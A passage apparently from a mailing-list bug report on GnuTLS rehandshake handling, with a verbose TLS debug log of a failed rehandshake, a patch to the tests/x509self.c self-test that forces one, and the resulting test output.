5a 47 fe 58 a4 ac e8 6e d4 |<7>| 004e - a3 ec 90 d8 8e 84 e8 b1 40 21 df 4a ca f8 35 4d |<7>| 004f - a2 49 02 03 01 00 01 30 0d 06 09 2a 86 48 86 f7 |<7>| 0050 - 0d 01 01 05 05 00 03 81 81 00 5f d4 ca f5 98 86 |<7>| 0051 - 1d d1 5e db d8 ec a6 8a 14 e3 c2 5f 1e ef 1d 10 |<7>| 0052 - 15 ff b6 1e af 69 50 f4 0f 54 80 b3 1a 15 26 77 |<7>| 0053 - 1d f9 ae 21 4d b3 1e b0 63 39 95 1d 30 5a 38 bd |<7>| 0054 - 7d 5b 6e bb bd f6 e3 b9 87 01 f4 b4 35 80 ad f9 |<7>| 0055 - ae 07 14 57 2c 60 3b 39 92 a5 29 d4 e2 9c d1 78 |<7>| 0056 - b8 cb a2 47 bb 59 30 c3 32 75 9c ab 1e c8 7f a9 |<7>| 0057 - 19 d7 d8 41 ee 9b 2d 0a 4f 7f 7f 2c 11 9c 34 71 |<7>| 0058 - 02 05 8d ab 32 81 ff 73 04 76 |<7>| RB: Have 5 bytes into buffer. Adding 1418 bytes. |<7>| RB: Requested 1423 bytes |<2>| ASSERT: gnutls_cipher.c:204 |<4>| REC[0x1a7f3f0]: Decrypted Packet[1] Handshake(22) with length: 1418 |<6>| BUF[HSK]: Inserted 1418 bytes of Data(22) |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) |<3>| HSK[0x1a7f3f0]: CERTIFICATE was received [1418 bytes] |<6>| BUF[REC][HD]: Read 1414 bytes of Data(22) |<6>| BUF[HSK]: Peeked 48 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<6>| BUF[HSK]: Inserted 4 bytes of Data |<6>| BUF[HSK]: Inserted 1414 bytes of Data |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 16 03 01 01 8d |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[2] Handshake(22) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[2] Handshake(22) with length: 397 |<7>| READ: Got 397 bytes from 0x4 |<7>| READ: read 397 bytes from 0x4 |<7>| 0000 - 0c 00 01 89 00 80 d6 7d e4 40 cb bb dc 19 36 d6 |<7>| 0001 - 93 d3 4a fd 0a d5 0c 84 d2 39 a4 5f 52 0b b8 81 |<7>| 0002 - 74 cb 98 bc e9 51 84 9f 91 2e 63 9c 72 fb 13 b4 |<7>| 0003 - b4 d7 17 7e 16 d5 5a c1 79 ba 42 0b 2a 29 fe 32 |<7>| 0004 - 4a 46 7a 63 5e 81 ff 59 01 37 7b ed dc fd 33 16 |<7>| 0005 - 8a 46 1a ad 3b 72 da e8 86 00 78 04 5b 07 a7 db |<7>| 0006 - ca 78 74 08 7d 15 10 ea 9f cc 9d dd 33 05 07 dd |<7>| 0007 - 62 db 88 ae aa 74 7d e0 f4 d6 e2 bd 68 b0 e7 39 |<7>| 0008 - 3e 0f 24 21 8e b3 00 01 02 00 80 56 2e 53 3c 20 |<7>| 0009 - 46 75 af a7 f4 6c df 2d 00 5d 34 86 4a 20 a3 7a |<7>| 000a - 10 94 79 a6 b7 fc 1e 9c ee 47 f1 3a 23 9f 51 a7 |<7>| 000b - 8d 60 f1 92 39 6f e4 c6 c5 b9 0a c3 bb ce 35 c1 |<7>| 000c - f4 5c 79 c7 d7 3c 03 9c f5 51 16 fb 03 6a 3b 67 |<7>| 000d - 88 16 f0 50 3b 0a 18 da 17 5e 28 d0 b1 5e 41 5a |<7>| 000e - c0 55 25 a7 23 08 34 37 ac 6e e6 7c 6d 78 cd 66 |<7>| 000f - cc 7c b0 d0 9e d0 ef 5b b0 88 6f 57 d1 b9 92 4d |<7>| 0010 - e8 bd 3d cd 9a 2f 37 91 ef 15 1c 00 80 1d 58 f0 |<7>| 0011 - e2 f4 78 a4 a5 32 2f 33 26 49 41 f2 07 67 25 fc |<7>| 0012 - 6d 0b 92 d4 83 b9 2c 33 7c f6 07 8e 84 01 15 7f |<7>| 0013 - 3d 9a 47 f4 98 82 1c 29 92 ca 8a 1c 00 93 82 90 |<7>| 0014 - b1 e2 bb 47 05 e3 14 94 22 80 97 2f 58 9f 97 c8 |<7>| 0015 - c3 70 4a b4 69 7f 73 8a 30 74 71 5b 0d eb 71 c7 |<7>| 0016 - 1f f5 d3 ec b8 66 ac 9d a2 f1 37 f5 d3 a7 0c d0 |<7>| 0017 - ee 22 0a aa 50 22 48 ce 44 c5 a1 cf e9 27 89 76 |<7>| 0018 - 22 c7 c8 43 8d ad f5 cd 52 17 3e 84 81 |<7>| RB: Have 5 bytes into buffer. Adding 397 bytes. |<7>| RB: Requested 402 bytes |<2>| ASSERT: gnutls_cipher.c:204 |<4>| REC[0x1a7f3f0]: Decrypted Packet[2] Handshake(22) with length: 397 |<6>| BUF[HSK]: Inserted 397 bytes of Data(22) |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) |<3>| HSK[0x1a7f3f0]: SERVER KEY EXCHANGE was received [397 bytes] |<6>| BUF[REC][HD]: Read 393 bytes of Data(22) |<6>| BUF[HSK]: Peeked 1418 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<6>| BUF[HSK]: Inserted 4 bytes of Data |<6>| BUF[HSK]: Inserted 393 bytes of Data |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 16 03 01 00 04 |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[3] Handshake(22) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[3] Handshake(22) with length: 4 |<7>| READ: Got 4 bytes from 0x4 |<7>| READ: read 4 bytes from 0x4 |<7>| 0000 - 0e 00 00 00 |<7>| RB: Have 5 bytes into buffer. Adding 4 bytes. |<7>| RB: Requested 9 bytes |<2>| ASSERT: gnutls_cipher.c:204 |<4>| REC[0x1a7f3f0]: Decrypted Packet[3] Handshake(22) with length: 4 |<6>| BUF[HSK]: Inserted 4 bytes of Data(22) |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) |<3>| HSK[0x1a7f3f0]: SERVER HELLO DONE was received [4 bytes] |<2>| ASSERT: gnutls_handshake.c:1123 |<6>| BUF[HSK]: Peeked 397 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<6>| BUF[HSK]: Inserted 4 bytes of Data |<3>| HSK[0x1a7f3f0]: CLIENT KEY EXCHANGE was send [134 bytes] |<6>| BUF[HSK]: Peeked 4 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<4>| REC[0x1a7f3f0]: Sending Packet[1] Handshake(22) with length: 134 |<2>| ASSERT: gnutls_cipher.c:204 |<7>| WRITE: Will write 139 bytes to 0x4. |<7>| WRITE: wrote 139 bytes to 0x4. Left 0 bytes. Total 139 bytes. |<7>| 0000 - 16 03 01 00 86 10 00 00 82 00 80 d5 36 64 fa 6d |<7>| 0001 - f7 78 17 33 91 11 6e 23 e3 50 66 6f bb fc 31 0d |<7>| 0002 - 05 2f 54 30 ee a7 e2 b5 6f e8 d9 30 b4 e0 13 7d |<7>| 0003 - a1 23 92 f1 a4 1e 36 d6 dd c7 2e 4f fa 48 62 52 |<7>| 0004 - 7c 5e e6 93 94 72 8f c1 8d 29 c3 73 68 69 a1 0d |<7>| 0005 - 4f 27 a3 31 25 11 41 24 6c 9d dd e3 e4 63 da ca |<7>| 0006 - c7 84 f7 d2 e9 d5 3e fa 2d 71 14 fa 4a fd 01 78 |<7>| 0007 - 48 d1 58 39 89 e9 58 c7 92 d8 fe 98 78 ee 30 0f |<7>| 0008 - f6 b2 20 e6 e6 4b f2 c7 f1 47 29 |<4>| REC[0x1a7f3f0]: Sent Packet[2] Handshake(22) with length: 139 |<3>| REC[0x1a7f3f0]: Sent ChangeCipherSpec |<4>| REC[0x1a7f3f0]: Sending Packet[2] Change Cipher Spec(20) with length: 1 |<2>| ASSERT: gnutls_cipher.c:204 |<7>| WRITE: Will write 6 bytes to 0x4. |<7>| WRITE: wrote 6 bytes to 0x4. Left 0 bytes. Total 6 bytes. |<7>| 0000 - 14 03 01 00 01 01 |<4>| REC[0x1a7f3f0]: Sent Packet[3] Change Cipher Spec(20) with length: 6 |<9>| INT: PREMASTER SECRET[128]: ad5b4dcc554166127f6ed0774508a9895c173a4ff7b32f5f4420ebafbafdfbc54d4cf91da109517384e43f2583ac0733c3771b6f6abf9739ca79ea6fed83a8f8f68b1881608d962507bc970986be0671239749283fb2dc1d703b4b469cb8cf0adcc855e289f588aa9f1996fb0e35e82666ff0e0484e81de5b3abb2342cd87738 |<9>| INT: CLIENT RANDOM[32]: 492fffa3b5c17514542496737ccba3d0e5fe1328b9ed7e7a6d851be533bd69ac |<9>| INT: SERVER RANDOM[32]: 492fffa345b76dbe9429c29efa89305b0de02e82ed49801f1a3cf3a7d59b9dd7 |<9>| INT: MASTER SECRET: dc9df9bc5622829bd321ffbc08e646b14472c80c365615e35c24d74082ef6b2d0a35885d8bee7b64713c01cbd16acdd8 |<9>| INT: KEY BLOCK[104]: ee560f34974df91ba849d166c688ba95ea4287cf7402c083cc7570e0d377058e |<9>| INT: CLIENT WRITE KEY [16]: aa6380640d573eec02bdb4b2a8b11d29 |<9>| INT: SERVER WRITE KEY [16]: 467acf0753496c8cb5e700f1071a3633 |<3>| HSK[0x1a7f3f0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Initializing internal [write] cipher sessions |<6>| BUF[HSK]: Peeked 0 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<3>| HSK[0x1a7f3f0]: FINISHED was send [16 bytes] |<6>| BUF[HSK]: Peeked 0 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<4>| REC[0x1a7f3f0]: Sending Packet[0] Handshake(22) with length: 16 |<7>| WRITE: Will write 181 bytes to 0x4. |<7>| WRITE: wrote 181 bytes to 0x4. Left 0 bytes. Total 181 bytes. |<7>| 0000 - 16 03 01 00 b0 98 4d db bd bc 2f ff ff b7 b5 4e |<7>| 0001 - 7b 0b 79 ac 0e 5b ae 78 2f bd 1d c6 ad 10 7b 7d |<7>| 0002 - 71 0d 15 19 7e fa 2e f6 74 3e 48 3f 4a e2 23 c6 |<7>| 0003 - 55 12 77 50 88 1c 3a ef 7c 90 00 c3 d1 da 23 2d |<7>| 0004 - 99 1f 8f 33 5d ab 3e 4d c3 6e ad cf 1a 53 bb cb |<7>| 0005 - 15 75 02 39 e9 6f 19 0f 3f 40 ff cd 58 b7 47 9b |<7>| 0006 - b5 1a 52 02 c1 1b 52 6f 64 ad 38 45 9c ab 8f 3b |<7>| 0007 - 25 27 f7 72 c4 70 dd ce e5 46 40 fa a2 37 76 60 |<7>| 0008 - 65 46 cb 8a 84 b6 73 ea 51 f9 78 f1 7b 98 d1 d9 |<7>| 0009 - d6 00 60 ef 25 05 de 86 56 20 7f 08 e3 1e 5a 72 |<7>| 000a - 62 bb 0d ee 62 33 c0 a8 d8 3c c9 ae a7 d7 51 9c |<7>| 000b - b0 60 7d c8 0a |<4>| REC[0x1a7f3f0]: Sent Packet[1] Handshake(22) with length: 181 |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 14 03 01 00 01 |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[4] Change Cipher Spec(20) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[4] Change Cipher Spec(20) with length: 1 |<7>| READ: Got 1 bytes from 0x4 |<7>| READ: read 1 bytes from 0x4 |<7>| 0000 - 01 |<7>| RB: Have 5 bytes into buffer. Adding 1 bytes. |<7>| RB: Requested 6 bytes |<2>| ASSERT: gnutls_cipher.c:204 |<4>| REC[0x1a7f3f0]: ChangeCipherSpec Packet was received |<3>| HSK[0x1a7f3f0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Initializing internal [read] cipher sessions |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 16 03 01 00 30 |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[0] Handshake(22) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[0] Handshake(22) with length: 48 |<7>| READ: Got 48 bytes from 0x4 |<7>| READ: read 48 bytes from 0x4 |<7>| 0000 - 14 66 39 d1 76 a0 e9 b5 89 5d 7d 1e 75 0d 2b fa |<7>| 0001 - b0 34 74 6e 06 00 65 24 3d 59 20 25 51 45 bc 1c |<7>| 0002 - bd 84 82 ae 61 50 3f ae c4 e3 18 13 dd 7b 08 73 |<7>| 0003 - |<7>| RB: Have 5 bytes into buffer. Adding 48 bytes. |<7>| RB: Requested 53 bytes |<4>| REC[0x1a7f3f0]: Decrypted Packet[0] Handshake(22) with length: 16 |<6>| BUF[HSK]: Inserted 16 bytes of Data(22) |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) |<3>| HSK[0x1a7f3f0]: FINISHED was received [16 bytes] |<6>| BUF[REC][HD]: Read 12 bytes of Data(22) |<6>| BUF[HSK]: Peeked 0 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<6>| BUF[HSK]: Inserted 4 bytes of Data |<6>| BUF[HSK]: Inserted 12 bytes of Data |<6>| BUF[HSK]: Cleared Data from buffer |<2>| ASSERT: ext_server_name.c:257 |<2>| ASSERT: verify.c:237 |<2>| ASSERT: verify.c:393 |<4>| REC[0x1a7f3f0]: Sending Packet[1] Application Data(23) with length: 21 |<7>| WRITE: Will write 101 bytes to 0x4. |<7>| WRITE: wrote 101 bytes to 0x4. Left 0 bytes. Total 101 bytes. |<7>| 0000 - 17 03 01 00 60 94 f8 fc 86 50 0c d3 ef 7d 02 4d |<7>| 0001 - 8e 8b ec b6 cf 6f 10 01 94 ce 61 f8 f3 ea 8b fc |<7>| 0002 - a6 3d de c5 b4 45 47 73 3b af ed c8 d1 c7 88 83 |<7>| 0003 - 52 56 54 c4 95 4f 65 74 cf b1 5e 10 0d d7 2a 27 |<7>| 0004 - 99 63 cb 10 32 95 bc 13 41 64 1a 17 20 3d fd 50 |<7>| 0005 - bc 98 51 c8 97 78 67 ee d7 22 e4 d5 05 1d de a3 |<7>| 0006 - 98 cd 9f cd 4e |<4>| REC[0x1a7f3f0]: Sent Packet[2] Application Data(23) with length: 101 |<4>| REC[0x1a7f3f0]: Sending Packet[2] Application Data(23) with length: 16 |<7>| WRITE: Will write 69 bytes to 0x4. |<7>| WRITE: wrote 69 bytes to 0x4. Left 0 bytes. Total 69 bytes. |<7>| 0000 - 17 03 01 00 40 ef fc a4 88 37 8a 7a b5 80 a1 b7 |<7>| 0001 - d0 4d 11 56 f7 9a 67 39 43 a4 94 86 7b e4 35 75 |<7>| 0002 - ca 0f 39 07 24 76 c0 fc 9c bb 8f 27 3d 3e 75 2f |<7>| 0003 - 5a 85 25 38 f9 a3 51 39 3d 9e 18 b5 26 52 9b 43 |<7>| 0004 - e7 43 a0 42 24 |<4>| REC[0x1a7f3f0]: Sent Packet[3] Application Data(23) with length: 69 |<4>| REC[0x1a7f3f0]: Sending Packet[3] Application Data(23) with length: 1 |<7>| WRITE: Will write 245 bytes to 0x4. |<7>| WRITE: wrote 245 bytes to 0x4. Left 0 bytes. Total 245 bytes. |<7>| 0000 - 17 03 01 00 f0 4e 98 84 fd ee a2 36 4d c4 ab da |<7>| 0001 - 6f 13 11 90 f6 cb 0a 2b b0 08 42 ae 79 ed 76 a7 |<7>| 0002 - 29 21 1f bc ff 78 87 f4 6b de 9d ea 9b 0f d4 c2 |<7>| 0003 - d5 56 ac b3 70 34 17 13 91 e1 2b b6 08 5a 44 7b |<7>| 0004 - 6a 1e 05 aa b7 6c 15 66 50 f6 41 63 3e 3d cc 5f |<7>| 0005 - cc 3e 2b f3 7d a0 78 7c 93 4c 5b e6 b9 31 72 f9 |<7>| 0006 - 1a c7 fc 4d 95 60 71 1e aa 12 63 16 39 44 1a 96 |<7>| 0007 - 8c 24 79 0c 3a 1f 60 c2 09 71 4a a5 56 f1 09 8c |<7>| 0008 - 06 1a b2 34 e2 60 8d 3e e9 ba d9 73 e4 0e 5e 79 |<7>| 0009 - 3d b5 18 0f 30 f3 76 56 b1 d5 7c 5f 20 35 a8 1b |<7>| 000a - 13 ed 8b aa 76 3c d7 8b 24 36 b3 78 68 bd bf 73 |<7>| 000b - 34 30 c5 2a f1 47 3b e6 1a 09 ee 4d 2a 3b 81 a7 |<7>| 000c - 77 36 1e 71 39 11 7f e5 aa 53 a2 1e ff 4b 03 7c |<7>| 000d - e1 85 56 50 f6 79 ec 2b 36 75 9d 62 26 d6 10 22 |<7>| 000e - 27 3c 07 9d 9a 15 be bd 6d 2c 73 af 49 fb 93 48 |<7>| 000f - 79 5c 74 e5 9a |<4>| REC[0x1a7f3f0]: Sent Packet[4] Application Data(23) with length: 245 |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 16 03 01 00 20 |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[1] Application Data(23) with length: 4096 |<4>| REC[0x1a7f3f0]: Received Packet[1] Handshake(22) with length: 32 |<7>| READ: Got 32 bytes from 0x4 |<7>| READ: read 32 bytes from 0x4 |<7>| 0000 - 79 58 5e 0d a9 69 5e 0c 9f ea e2 a5 51 b8 7d 7a |<7>| 0001 - 47 45 f0 2b a9 0c 5e 55 10 31 73 9f ed 7e ae 8b |<7>| 0002 - |<7>| RB: Have 5 bytes into buffer. Adding 32 bytes. |<7>| RB: Requested 37 bytes |<4>| REC[0x1a7f3f0]: Decrypted Packet[1] Handshake(22) with length: 4 |<2>| ASSERT: gnutls_record.c:1048 *** Non fatal error: Rehandshake was requested by the peer. |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_MD5 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1 |<2>| EXT[0x1a7f3f0]: Sending extension CERT_TYPE |<2>| EXT[0x1a7f3f0]: Sending extension SERVER_NAME |<3>| HSK[0x1a7f3f0]: CLIENT HELLO was send [110 bytes] |<6>| BUF[HSK]: Peeked 0 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<4>| REC[0x1a7f3f0]: Sending Packet[4] Handshake(22) with length: 110 |<7>| WRITE: Will write 261 bytes to 0x4. |<7>| WRITE: wrote 261 bytes to 0x4. Left 0 bytes. Total 261 bytes. |<7>| 0000 - 16 03 02 01 00 0f b0 1b 6c 7b 1c 5b 26 d6 30 f2 |<7>| 0001 - ff 0b 5f ba 8b 3f 7e 38 9a 3b a1 0d 89 a7 6f f2 |<7>| 0002 - 22 53 a3 b3 46 4e cb 48 47 86 eb a6 b8 d9 c9 bc |<7>| 0003 - 64 9d b9 e0 c1 dd de 35 16 96 6a 9c c8 cc 2a 1b |<7>| 0004 - ef dd dd 61 92 27 0b 74 57 fe b9 ac f9 dd c5 f5 |<7>| 0005 - 52 06 74 31 7e 0a b9 60 66 bc 6b 40 18 72 8a 6c |<7>| 0006 - 62 5f a2 dc de cd 94 66 99 44 a1 c1 06 36 bf a9 |<7>| 0007 - 7e 4d e5 5d 93 4f 49 4c 84 96 ab b9 00 df d7 3c |<7>| 0008 - f1 36 39 9d e0 46 d9 fa ed fc f9 89 53 6c 16 d2 |<7>| 0009 - bd 91 35 6b 58 6a 2c 19 53 3e 98 43 a9 ee da f5 |<7>| 000a - 98 79 58 6d 8f 72 25 ee b0 ff 72 b2 ee 5e ef 57 |<7>| 000b - bb e3 a3 a5 ec e1 34 55 a5 d6 7c 77 a8 37 ab 97 |<7>| 000c - 5e 69 ce 48 58 09 4c 35 6b a9 cb 8e 04 e3 07 f1 |<7>| 000d - ab 40 ae 6e ae d8 67 06 43 f8 99 06 e6 ea 21 9d |<7>| 000e - af 90 09 a6 23 b3 75 21 dc c1 f8 b3 c6 c3 85 c0 |<7>| 000f - c6 b5 a1 1c be 00 1e ef 55 0f e4 42 0a 9a f0 06 |<7>| 0010 - f2 94 3d 11 c0 |<4>| REC[0x1a7f3f0]: Sent Packet[5] Handshake(22) with length: 261 |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 15 03 01 00 20 |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[2] Handshake(22) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[2] Alert(21) with length: 32 |<7>| READ: Got 32 bytes from 0x4 |<7>| READ: read 32 bytes from 0x4 |<7>| 0000 - 78 a3 6b a4 e7 16 c2 d4 6e 9f e6 c1 a1 a6 9b 89 |<7>| 0001 - 1d 7e ce d5 13 1e f5 5c 04 46 b6 bb 64 30 c1 76 |<7>| 0002 - |<7>| RB: Have 5 bytes into buffer. Adding 32 bytes. |<7>| RB: Requested 37 bytes |<2>| ASSERT: gnutls_cipher.c:516 |<4>| REC[0x1a7f3f0]: Short record length 10 > 16 - 20 (under attack?) |<2>| ASSERT: gnutls_record.c:1002 |<2>| ASSERT: gnutls_buffers.c:1030 |<2>| ASSERT: gnutls_handshake.c:1045 |<2>| ASSERT: gnutls_handshake.c:2346 |<6>| BUF[HSK]: Cleared Data from buffer *** Fatal error: Decryption has failed. |<2>| ASSERT: gnutls_record.c:879 *** Fatal error: The specified session has been invalidated for some reason. *** Server has terminated the connection abnormally. random usage: poolsize=600 mixed=28 polls=25/68 added=368/14980 outmix=3 getlvl1=3/137 getlvl2=0/0 -------------- next part -------------- diff --git a/tests/x509self.c b/tests/x509self.c index fd95190..180bfd7 100644 --- a/tests/x509self.c +++ b/tests/x509self.c @@ -166,9 +166,38 @@ client (void) /* see the Getting peer's information example */ print_info (session); - gnutls_record_send (session, MSG, strlen (MSG)); + ret = gnutls_record_send (session, MSG, strlen (MSG)); + + if (ret == strlen(MSG)) + { + success ("client: sent record.\n"); + } + else + { + fail ("client: failed to send record.\n"); + gnutls_perror(ret); + goto end; + } ret = gnutls_record_recv (session, buffer, MAX_BUF); + + success ("client: recv returned %d.\n", ret); + + if (ret == GNUTLS_E_REHANDSHAKE) + { + success ("client: doing handshake!\n"); + ret = gnutls_handshake (session); + if (ret == 0) + { + success ("client: handshake complete, reading again.\n"); + ret = gnutls_record_recv (session, buffer, MAX_BUF); + } + else + { + fail ("client: handshake failed.\n"); + } + } + if (ret == 0) { success ("client: Peer has closed the TLS connection\n"); @@ -227,7 +256,7 @@ initialize_tls_session (void) /* request client certificate if any. */ - gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST); +// gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST); gnutls_dh_set_prime_bits (session, DH_BITS); @@ -408,6 +437,20 @@ server (void) } else if (ret > 0) { + gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST); + + success ("server: got data, forcing rehandshake.\n"); + + ret = gnutls_rehandshake(session); + if (ret < 0) + { + fail ("server: rehandshake failed\n"); + gnutls_perror(ret); + break; + } + + success ("server: rehandshake complete.\n"); + /* echo data back to the client */ gnutls_record_send (session, buffer, strlen (buffer)); -------------- next part -------------- server: ready. Listening to port '5556'. client: Handshake was completed client: TLS version is: TLS1.1 - Key Exchange: DHE-RSA - Ephemeral DH using prime of 1032 bits Peer provided 1 certificates. Certificate info: Certificate is valid since: Wed Apr 18 14:29:21 2007 Certificate expires: Thu Apr 17 14:29:21 2008 Certificate serial number: 46261d31 Certificate public key: RSA Certificate version: #3 DN: O=GnuTLS test server,CN=test.gnutls.org Issuer's DN: CN=GnuTLS test CA - Protocol: TLS1.1 - Certificate Type: X.509 - Compression: NULL - Cipher: AES-128-CBC - MAC: SHA1 client: sent record. client: recv returned -37. client: doing handshake! Self test `./x509self' finished with 2 errors server: ready. Listening to port '5556'. Launched, generating DH parameters... server: connection from 127.0.0.1, port 42192 server: Handshake was completed server: TLS version is: TLS1.1 - Key Exchange: DHE-RSA - Ephemeral DH using prime of 1032 bits Peer provided 0 certificates. - Protocol: TLS1.1 - Certificate Type: X.509 - Compression: NULL - Cipher: AES-128-CBC - MAC: SHA1 server: got data, forcing rehandshake. server: rehandshake complete. server: finished Self test `./x509self' finished with 1 errors -------------- next part -------------- client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: 